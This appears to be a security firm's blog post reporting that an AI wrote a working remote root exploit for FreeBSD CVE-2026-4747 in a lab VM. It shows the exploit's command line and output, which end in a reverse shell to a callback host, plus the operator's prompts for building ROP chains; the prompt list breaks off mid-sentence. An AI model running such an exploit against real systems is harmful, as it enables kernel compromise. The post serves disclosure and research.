MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747) To our knowledge, this is the first remote kernel exploit both discovered and exploited by an AI. Calif Mar 31, 2026 Share Timeline: 2026-03-26: FreeBSD published an advisory for CVE-2026-4747, crediting “Nicholas Carlini using Claude, Anthropic” for a remote kernel code execution. 9:45AM PDT 2026-03-29: We asked Claude to develop an exploit. 5:00PM PDT 2026-03-29: Claude delivered a working exploit that drops a root shell. Total time: ~8 hours wall clock. The human was AFK for much of it; Claude’s actual working time was ~4 hours. Claude actually wrote two exploits using two different strategies. Both worked on the first try. Here’s what it looks like: python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444 ============================================================== CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE Stack overflow → ROP → shellcode → uid 0 reverse shell ============================================================== [*] Starting listener on 0.0.0.0:4444... [*] Starting listener on 0.0.0.0:4444... Target: 127.0.0.1:2049 Callback: 10.0.2.2:4444 SPN: nfs/freebsd-vuln@TEST.LOCAL Shellcode: 432 bytes (54 qwords) Delivery: 15 rounds (1 pmap + 14 write) [R1/15] pmap_change_prot(BSS, 0x2000, RWX) [+] BSS is now RWX [R2/15] write (4 qwords → 0xffffffff8198a800) ✓ [R3/15] write (4 qwords → 0xffffffff8198a820) ✓ [R4/15] write (4 qwords → 0xffffffff8198a840) ✓ [R5/15] write (4 qwords → 0xffffffff8198a860) ✓ [R6/15] write (4 qwords → 0xffffffff8198a880) ✓ [R7/15] write (4 qwords → 0xffffffff8198a8a0) ✓ [R8/15] write (4 qwords → 0xffffffff8198a8c0) ✓ [R9/15] write (4 qwords → 0xffffffff8198a8e0) ✓ [R10/15] write (4 qwords → 0xffffffff8198a900) ✓ [R11/15] write (4 qwords → 0xffffffff8198a920) ✓ [R12/15] write (4 qwords → 0xffffffff8198a940) ✓ [R13/15] write (4 qwords → 0xffffffff8198a960) ✓ [R14/15] write (4 qwords → 0xffffffff8198a980) ✓ [R15/15] write + EXECUTE (2 qwords → 0xffffffff8198a9a0) → JUMP 0xffffffff8198a800 [*] Shellcode delivered and executing. [*] kproc_create → kern_execve('/bin/sh -c ...') [*] Reverse shell → 10.0.2.2:4444 [*] Waiting for reverse shell... [+] Connection from 127.0.0.1:41320 [+] Got shell! sh: can't access tty; job control turned off # id uid=0(root) gid=0(wheel) groups=0(wheel) Check out the full exploit and the write-up . Claude wrote everything itself. Here are the prompts we used (excuse the typos): 1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability 2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume 3. why does it need to be QEMU and not docker for this to be a real exploit? 4. no just use QEMU then 5. okay now can you maybe generate an entire RCE exploit for this image ? 6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ? 7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory 8. okay contoninue to trigger this vuln. 9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu. 10. why is it running on 2222 2049 and 1111 11. okay now what about getting RCE. 12. tere is no kaslr so it should be easy 13. install ropgadget or what ever you need ... idk 14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ? 15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe 16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0 17. from a remote context aka the exploit should be executed from outside the vm 18. no just continue to get the remote version working. use gdb and hat ever tools you need. 19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop. 20. you need to keep notes of our current status and what you have done to get here. thanks. 21. you should verify everything with gdb if you need etc. 22. 1. Pure ROP — no shellcode needed, but we're stuck on rax→rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets? 23. why do we need kdc ? 24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell 25. dont think we can prestage a /tmp/x .. 26. working means a connectback shell as uid0 27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropcha...